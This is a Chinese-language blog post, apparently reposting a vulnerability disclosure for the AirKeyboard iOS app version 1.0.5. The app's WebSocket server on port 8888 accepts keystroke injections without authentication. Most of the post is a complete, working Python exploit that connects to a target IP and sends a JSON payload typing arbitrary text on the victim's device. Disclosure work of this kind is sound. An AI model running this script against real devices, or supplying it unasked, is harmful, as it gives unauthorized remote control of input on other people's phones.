AirKeyboard iOS应用1.0.5远程输入注入漏洞利用分析

本文详细分析了AirKeyboard iOS应用1.0.5版本存在的远程输入注入漏洞,攻击者可通过WebSocket无认证发送任意键盘输入,实现实时远程控制。包含完整的Python利用代码和技术细节。

漏洞标题:AirKeyboard iOS应用1.0.5 - 远程输入注入

日期:2025-06-13

漏洞作者:Chokri Hammedi

供应商主页:https://airkeyboardapp.com

软件链接:https://apps.apple.com/us/app/air-keyboard/id6463187929

版本:1.0.5

测试环境:iOS 18.5 with AirKeyboard应用

’’’ 描述: AirKeyboard iOS应用程序在端口8888上暴露了一个WebSocket服务器, 该服务器接受来自任何客户端的任意输入注入消息。 不需要任何身份验证或配对过程。这使得任何攻击者能够实时将任意击键 直接输入到受害者的iOS设备中,无需用户交互,从而实现完全远程输入控制。 ’''

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import websocket
import json
import time

target_ip = "192.168.8.101"
ws_url = f"ws://{target_ip}:8888"
text = "i'm hacker i can write on your keyboard :)"

keystroke_payload = {
    "type": 1,
    "text": f"{text}",
    "mode": 0,
    "shiftKey": True,
    "selectionStart": 1,
    "selectionEnd": 1
}

def send_payload(ws):
    print("[+] 发送远程击键...")
    ws.send(json.dumps(keystroke_payload))
    time.sleep(1)
    ws.close()

def on_open(ws):
    send_payload(ws)

def on_error(ws, error):
    print(f"[!] 错误: {error}")

def on_close(ws, close_status_code, close_msg):
    print("[*] 连接已关闭")

def exploit():
    print(f"[+] 连接到AirKeyboard WebSocket {target_ip}:8888")
    ws = websocket.WebSocketApp(ws_url,
                                 on_open=on_open,
                                 on_error=on_error,
                                 on_close=on_close)
    ws.run_forever()

if __name__ == "__main__":
    exploit()
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计